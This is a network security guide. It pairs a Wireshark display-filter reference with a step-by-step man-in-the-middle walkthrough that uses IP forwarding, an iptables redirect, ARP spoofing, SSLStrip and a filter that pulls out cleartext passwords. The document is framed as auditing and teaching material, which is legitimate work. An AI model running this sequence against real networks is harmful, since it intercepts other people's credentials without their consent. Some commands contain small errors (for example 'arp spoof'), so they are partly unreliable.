



COMPREHENSIVE NETWORK SECURITY & ANALYSIS GUIDE

WIRESHARK ANALYSIS & PROTOCOL SECURITY FUNDAMENTALS

SECTION 1: ADVANCED WIRESHARK DISPLAY FILTERS

Wireshark display filters allow analysts to slice through large packet captures (.pcapng) to pinpoint anomalies, indicators of compromise (IoCs), or unencrypted credentials.

1.1 Logical & Comparison Operators Reference

To build effective filters, understand the core logical syntax configuration:

SYNTAX OPERATOR	ENGLISH KEYWORD	TECHNICAL DESCRIPTION
==	eq	Equal: Exact match validation
!=	ne	Not Equal: Exclude exact match
&&	and	Logical AND: Both conditions must be met
	or	Logical OR: Either condition can be met
!	not	Logical NOT: Negates the expression

1.2 Network & IP Layer Filtering

Filter traffic based on single hosts, specific source/destination boundaries, or entire subnets.

> Filter by Single IP Address:

```
ip.addr == 10.43.54.65
```

Captures any packet where the specified IP is either the source or the destination.

> Exclude Specific Host Traffic:

```
ip.addr != 10.43.54.65
```

OR

```
! (ip.addr == 10.43.54.65)
```

> Filter Traffic by Subnets & Multi-Site Directions:

```
ip.src == 192.168.0.0/16 or ip.dst == 192.158.0.0/16
```

Matches packets originating from the first network range or destined for the second.

> Strict Non-Involvement Filtering:

```
! (ip.src == 10.43.54.65 or ip.dst == 10.43.54.65)
```

Guarantees complete exclusion of the host from the results, whether acting as sender or receiver.

> Define Precise IP Ranges:

```
ip.addr in {10.0.0.5 .. 10.0.0.9, 192.168.1.1 .. 192.168.1.9}
```

PRO ANALYST NOTE ON MULTICAST FILTERING:

Using `ip.dst ne 224.1.2.3` might display non-IP packets (like ARP). To ensure you only evaluate existing IP layers while removing specific multicast noise, use:
`ip.dst` and `ip.dst ne 224.1.2.3`

1.3 Transport & Protocol-Specific Filtering

Isolate traffic based on protocol structures, enterprise services, or specific ports.

> Isolate Mail & Ping Traffic:

```
tcp.port eq 25 or icmp
```

Displays SMTP mail delivery data or ICMP diagnostics (Ping requests/replies).

> Monitor Core Enterprise Windows Environments:

```
smb || nbns || dcerpc || nbss || dns
```

Aggregates Active Directory asset mapping, name resolution, and network share sessions.

> Isolate Common Web Services Simultaneously:

```
tcp.port in {80, 443, 8080}
```

1.4 Deep Packet Inspection (DPI) & Web Application Auditing

Inspect underlying application layers to uncover sensitive parameters or attack vectors.

> Isolate HTTP Post Requests (Data Submissions):

```
http.request.method == "POST"
```

> Isolate Read-Only Web Traffic:

```
http.request.method in {"HEAD", "GET"}
```

> Targeted Web Inspection Excluding Internal Nodes:

```
ip.src != 192.168.1.50 && ip.dst != 192.168.1.50 && http
```

> String-Based Content Inspection & Payloads:

```
http contains "https://www.wireshark.org"
```

```
tcp.payload contains "GET"
```

```
tcp.payload contains "pass"
```

```
resp.string == "pass"
```

> Fingerprint Device Types via User-Agent:

```
wsp.header.user_agent matches "cldc"
```

 **ANALYSIS SHORTCUT:** Press **CTRL + F** within Wireshark to open the inline search bar. Set the parameters to String or Hex Value to find direct values (like flags, keys, or passwords) within raw payloads.

Directional Tip: If you see plain HTTP or **HTTP/1.1 200 OK** explicitly listed in the Info column, it indicates a Server Response being delivered back to the client.

SECTION 2: MAN-IN-THE-MIDDLE (MITM) & SSL/TLS DOWNGRADE AUDITING

This operational workflow demonstrates how unencrypted legacy protocols leave networks vulnerable to data exposure, and how cleartext downgrades are evaluated.

```
[ Victim Machine ] =====( Unencrypted HTTP Link )=====> [ Attacker (SSLStrip) ]
                        ||
                        || (Encrypted HTTPS)
                        \/  
                        [ Target Server ]
```

Step 1: Enable Kernel-Level Packet Forwarding

Configure the host operating system to act as a router so intercepted traffic smoothly transits without causing disruption.

```
echo 1 > /proc/sys/net/ipv4/ip_forward
```

Step 2: Establish Firewall Redirection Rules

Configure iptables to automatically catch inbound port 80 (HTTP) requests and redirect them natively to port 8080.

```
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
```

Step 3: Map Network Infrastructure Topology

Identify the default local gateway to correctly map out routing paths.

```
route -n
```

Step 4: Discover Target Assets

Locate the victim machine's internal IP address using visibility tools like `arp-scan` or `netdiscover`.

Step 5: Execute ARP Spoofing

Manipulate the local ARP tables to establish the path connection.

```
arp spoof -i eth0 -t [Victim_IP] [Gateway_IP]
```

Step 6: Launch the Downgrade Engine (SSLStrip)

```
sslstrip -l 8080
```

Step 7: Intercept Credentials via Cleartext Evaluation

Apply this filter within Wireshark on the interception node to isolate the exposed fields immediately:

```
http.request.method == "POST" || tcp.payload contains "pass"
```